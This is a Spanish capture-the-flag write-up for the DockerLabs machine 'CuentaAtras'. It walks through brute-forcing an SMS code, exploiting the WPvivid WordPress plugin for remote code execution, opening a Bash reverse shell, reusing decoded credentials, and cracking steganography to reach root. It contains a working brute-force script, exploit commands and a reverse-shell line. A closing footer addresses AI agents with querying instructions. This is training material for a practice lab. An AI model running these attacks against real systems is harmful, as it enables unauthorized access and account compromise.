> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/medio/cuentaatras.md).

# CuentaAtras

## Introduccion

En esta maquina de DockerLabs se empieza comprometiendo una aplicacion web con registro y verificacion SMS de 4 digitos. El codigo puede ser forzado por fuerza bruta, lo que permite crear una cuenta y acceder a un panel interno que revela la ruta de un WordPress corporativo oculto.

Sobre ese WordPress se identifica el plugin WPvivid Backup & Migration en una version vulnerable a subida arbitraria de ficheros y RCE. La shell inicial cae como `www-data`; desde ahi se leen credenciales internas codificadas en Base64, se accede por SSH como `ethan`, se neutraliza un `TMOUT` agresivo en `.bashrc` y se encuentra una imagen con informacion oculta. Tras corregir sus magic bytes y crackearla con StegCracker, se extrae la clave que permite escalar a root con `su`.

***

## Reconocimiento

Se realiza un escaneo completo con Nmap:

```bash
nmap -sVCS -Pn -n -p- 172.17.0.2
```

<div align="center"><img src="/files/HWG2vI3UYNBkJw5xKaXB" alt="Escaneo Nmap de CuentaAtras"></div>

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version                    |
| ------ | -------- | -------------------------- |
| 22/tcp | SSH      | OpenSSH 9.6p1 Ubuntu       |
| 80/tcp | HTTP     | Apache httpd 2.4.58 Ubuntu |

La web principal presenta un login:

<div align="center"><img src="/files/Pimf6O7cZLexJHE2GiOZ" alt="Login principal de CuentaAtras"></div>

***

## Enumeracion web

Se enumeran rutas con Gobuster:

```bash
gobuster dir -u http://172.17.0.2 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,zip,php,txt \
  -b 404 \
  -t 60
```

<div align="center"><img src="/files/jGw2dnfPwRRCmEXGXddg" alt="Enumeracion con Gobuster"></div>

Aparecen varios ficheros PHP:

```
dashboard.php
db.php
index.php
logout.php
register.php
```

La ruta `register.php` permite crear una cuenta:

<div align="center"><img src="/files/ugEuzGaF6dSPqkfko3w8" alt="Formulario de registro"></div>

Tras el registro, la aplicacion solicita un codigo SMS de 4 digitos y muestra una cuenta atras:

<div align="center"><img src="/files/AMpijLJvMfprlRF8ccXh" alt="Verificacion SMS de cuatro digitos"></div>

***

## Fuerza bruta del codigo SMS

Se intercepta la peticion de verificacion:

<div align="center"><img src="/files/f8tW8rSbgAtT8xBZhA6r" alt="Peticion POST a verify.php"></div>

El endpoint recibe el parametro `code`:

```http
POST /verify.php HTTP/1.1
Cookie: PHPSESSID=k65yteumbvnpb4o3uevctosda3

code=1234
```

Se automatiza la prueba de codigos del `0000` al `9999`, deteniendo el script cuando la aplicacion responde con una redireccion:

```python
import requests

url = "http://172.17.0.2/verify.php"

headers = {
    "Cookie": "PHPSESSID=k65yteumbvnpb4o3uevctosda3",
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0",
    "Origin": "http://172.17.0.2",
    "Referer": "http://172.17.0.2/verify.php",
}

for i in range(0, 10000):
    code = f"{i:04d}"
    data = {"code": code}

    res = requests.post(
        url=url,
        headers=headers,
        data=data,
        timeout=5,
        allow_redirects=False,
    )

    print(f"\rProbando codigo: {code} | Status: {res.status_code} | Len: {len(res.text)}", end="")

    if res.status_code in [301, 302, 303, 307, 308]:
        print(f"\n[+] Codigo encontrado por redireccion: {code}")
        print("Location:", res.headers.get("Location"))
        break
```

<div align="center"><img src="/files/Ce83ROcgS9YAmTIuCvx2" alt="Script de fuerza bruta del codigo SMS"></div>

El codigo correcto encontrado es:

```
1484
```

<div align="center"><img src="/files/T7bgbr1x0sigCJ4aOZAO" alt="Codigo SMS encontrado por fuerza bruta"></div>

***

## Acceso al panel

Con la cuenta validada se inicia sesion y se accede a `dashboard.php`:

<div align="center"><img src="/files/sZOVCdUVoPl6YRgmyBZK" alt="Dashboard con ruta del portal corporativo"></div>

El aviso de TI revela la ruta temporal del antiguo portal corporativo:

```
/secret_portal_65hBlEo9OU/
```

Al acceder aparece una instalacion de WordPress:

<div align="center"><img src="/files/UlH4iJ2Ari7qtoT9Qz2i" alt="WordPress corporativo oculto"></div>

***

## Enumeracion de WordPress

Se lanza WPScan contra el portal:

```bash
wpscan --url http://172.17.0.2/secret_portal_65hBlEo9OU/ -e u,p,t
```

<div align="center"><img src="/files/IJxHHRfzsJnq2kHVaJvD" alt="WPScan identificando WordPress y usuarios"></div>

Resultados relevantes:

```
WordPress 7.0
Uploads con directory listing
Usuario identificado: admin_master
Tema: twentytwentyfive
```

La enumeracion de plugins identifica `wpvivid-backuprestore`:

<div align="center"><img src="/files/lkrObfzK7x9b6AoIjEdt" alt="WPScan detectando WPvivid BackupRestore"></div>

El plugin aparece en la version `0.9.123`, desactualizada frente a `0.9.129`.

***

## RCE en WPvivid

Se localiza un PoC para `CVE-2026-1357`, una subida arbitraria de ficheros que permite ejecucion remota de comandos en WPvivid Backup & Migration `<= 0.9.123`:

<div align="center"><img src="/files/vCjEfagPpGzc5PxsqN5J" alt="README del CVE-2026-1357 de WPvivid"></div>

Se ejecuta el exploit contra el WordPress oculto:

```bash
python3 exploit.py -u http://172.17.0.2/secret_portal_65hBlEo9OU/ -s
```

<div align="center"><img src="/files/eUZmXYkV9FSgpClmZk17" alt="RCE confirmado como www-data"></div>

El PoC sube una shell PHP a `wp-content/uploads` y confirma ejecucion con `id`:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Para obtener una shell interactiva se URL-encodea una reverse shell en Bash:

```bash
urlencode "bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'"
```

<div align="center"><img src="/files/creABZ5PBPicMQ00Cfza" alt="Payload de reverse shell URL-encoded"></div>

Con `nc` a la escucha en el puerto `4444`, se ejecuta el payload desde la shell PHP y se recibe conexion como `www-data`:

<div align="center"><img src="/files/Gha4nbmiONEPSjInmN09" alt="Reverse shell como www-data"></div>

***

## Credenciales en WordPress

Desde la shell se lee `wp-config.php`:

<div align="center"><img src="/files/rJhloIYoebF55XhE1IvG" alt="Credenciales de base de datos en wp-config.php"></div>

Credenciales encontradas:

```
DB_NAME: wp_db
DB_USER: wp_user
DB_PASSWORD: wp_password
DB_HOST: localhost
```

Se accede a MariaDB y se consulta la tabla de usuarios:

<div align="center"><img src="/files/jHmzJ0ThTauYrdixKL5K" alt="Consulta de wp_users en MariaDB"></div>

El usuario de WordPress identificado es `admin_master`.

***

## Credenciales de Ethan

Al seguir enumerando `/var/www/html` aparece el fichero `copy2321_.php`, que contiene una peticion HTTP interna hacia `localhost:8080`:

<div align="center"><img src="/files/TiPrM7ZehKRa5MKVS6re" alt="Peticion interna con cookie session_id"></div>

La cookie `session_id` esta codificada en Base64:

```
ZXRoYW46cGZMbVdwejJFR0tHcFJDbUFDVFAK
```

Al decodificarla se obtienen credenciales:

```bash
echo "ZXRoYW46cGZMbVdwejJFR0tHcFJDbUFDVFAK" | base64 -d
```

<div align="center"><img src="/files/7Cy5fVjVkboSF8lbUxbM" alt="Decodificacion Base64 de la cookie session_id"></div>

Resultado:

```
ethan:pfLmWpz2EGKGpRCmACTP
```

Se reutilizan las credenciales para acceder por SSH:

```bash
ssh ethan@172.17.0.2
```

<div align="center"><img src="/files/XxH9ihwU2aPxWujMUtnJ" alt="Acceso SSH como ethan"></div>

***

## TMOUT en bashrc

La sesion de `ethan` se cierra automaticamente a los pocos segundos. Al revisar `.bashrc` se observa:

<div align="center"><img src="/files/EQtxt5gLIw0BocmMB3Li" alt="TMOUT configurado en bashrc"></div>

```bash
TMOUT=3
export TMOUT
```

Tras reconectar por SSH, se desactiva la variable:

```bash
unset TMOUT
```

<div align="center"><img src="/files/sugJ62zEHu2GziyjajBV" alt="Desactivacion de TMOUT"></div>

***

## Esteganografia

En el directorio personal de `ethan` se encuentra la carpeta `miscosas`, con varias subcarpetas:

<div align="center"><img src="/files/G9rw2fQ4BaYFghDJ3Bm9" alt="Enumeracion de miscosas en el home de ethan"></div>

Dentro de `fotos` aparece el fichero `captura3.jpg`. Al mirar sus primeros bytes se observa una cabecera `PNG`, a pesar de la extension `.jpg`:

```bash
xxd captura3.jpg | head -n 20
```

<div align="center"><img src="/files/5wxtnjThhf2GIwBA3ReO" alt="Magic bytes PNG en captura3.jpg"></div>

Se corrigen los magic bytes para tratar el fichero como JPG:

```bash
python3 magicbytes.py -i ../../captura3.jpg -m jpg
```

<div align="center"><img src="/files/8fiNVgf9nkCyLxwj8mMb" alt="Correccion de magic bytes con MagicBytes"></div>

Despues se crackea la passphrase con StegCracker:

```bash
stegcracker captura3.jpg /usr/share/wordlists/rockyou.txt
```

<div align="center"><img src="/files/DPBSDdbfPeE9nZu3OktJ" alt="StegCracker encontrando la passphrase dinamo"></div>

La passphrase encontrada es:

```
dinamo
```

Con esa clave se extrae el contenido oculto:

```bash
steghide extract -sf captura3.jpg
```

<div align="center"><img src="/files/YI5bfnWldI7u7CC4CRhn" alt="Extraccion de mensaje.txt con steghide"></div>

El fichero extraido `mensaje.txt` contiene la clave final.

***

## Escalada a root

Con la clave recuperada del mensaje oculto se cambia a root:

```bash
su root
whoami
```

<div align="center"><img src="/files/me7CDwaKwBg1RxvmOWRT" alt="Shell root en CuentaAtras"></div>

La comprobacion confirma el compromiso:

```
root
```

***

## Resumen

La cadena completa queda:

1. Reconocimiento de SSH y Apache.
2. Registro de usuario en la aplicacion web.
3. Fuerza bruta del codigo SMS de 4 digitos.
4. Acceso a `dashboard.php` y descubrimiento del WordPress oculto.
5. Enumeracion de WordPress con WPScan.
6. RCE en WPvivid Backup & Migration mediante `CVE-2026-1357`.
7. Shell como `www-data`.
8. Lectura de credenciales y cookie Base64 con usuario `ethan`.
9. Acceso SSH como `ethan`.
10. Bypass del auto-logout con `unset TMOUT`.
11. Extraccion esteganografica desde `captura3.jpg`.
12. Escalada final con `su root`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/medio/cuentaatras.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
